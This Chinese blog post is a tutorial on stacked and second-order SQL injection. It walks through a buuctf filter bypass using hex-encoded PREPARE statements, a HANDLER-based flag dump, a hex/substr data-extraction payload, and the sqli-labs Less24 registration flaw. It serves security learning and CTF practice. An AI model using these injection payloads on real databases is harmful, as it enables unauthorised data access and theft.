开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第8天,点击查看活动详情
三、较特殊的注入
1、堆叠注入
'%23 如果没报错证明是单引号闭合。
原理: 利用 ; 结束语句并插入自己的sql语句
适用: Mysql、SqlServer、Postgresql(Oracle不行)
只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函 数就支持多条sql语句同时执行
PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置
PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
例子
利用存储过程绕过select过滤
http://web16.buuoj.cn/?
inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;p
repare%20execsql%20from%20@a;execute%20execsql;#
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后
?
inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;pre
pare execsql from @a;execute execsql;#
例题:buuctf中的blacklist 本题中过滤了大部分关键词 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject); 一开始 考虑如何绕过select,和union的正则匹配,用<>等方法都不行,最后考虑用handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的 浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语 句,并没有包含到SQL标准中。 HANDLER语句提供通往表的直接通道的存储引擎接口,可以用 于MyISAM和InnoDB表。
HANDLER tbl
_
name OPEN [ [AS] alias]
HANDLER tbl
_
name READ index
_
name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl
_
name READ index
_
name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl
_
name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl
name CLOSE
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为 tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依 次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。 通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一 行,LAST获取最后一行(索引最大的一行)。
通过索引列指定一个值,可以指定从哪一行开始。 通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
如果我们不想浏览一个表的所有行,可以使用where和limit子句。
# 测试
1'or(1)#
# 爆库
1';show databases; => select * from test where id='1';show databases;
# 表
1';show tables;
# 字段
1';desc FlagHere; => show columns from FlagHere; 标名或者列名是数字时要用反引号`
# flag
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
2、二次注入
如果遇到某个站点有注册和登录功能,先注册一个'sss"\用户试试看。
用这样的payload将数据带出来 0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0 两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会 变成科学计数法,丢失精度
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查 询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但 在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数 据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入 数据库的时候又保留了原来的数据。
第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数 据库中取出恶意数据,没有进行进一步的检验的处理。
例子
这里我们使用sqli-labs/Less24为例,进行二次注入方法的练习。 部分源代码如下
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
可以看到使用了 mysql_real_escape_string 进行转义处理,无法进行SQL注入。 继续研究,发现登陆页面可以进行用户注册,这里我们注册一个 admin'# 的账号,登陆该账号后 可以进行密码修改。
注册admin'#
注册新用户过程中的处理代码:
if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re
_
pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username
"
)</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\",
\"$pass\")";
mysql_query($sql) or die('Error Creating your user account, :
'
.
mysql_error());
echo "</br>";
可以看到传入的 username 、 password 、 re_password 仍均被 mysql_escape_string 进行了转义处 理,但是在数据库中还是插入了 admin'#
这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据, 并不会在前面多了反斜杠。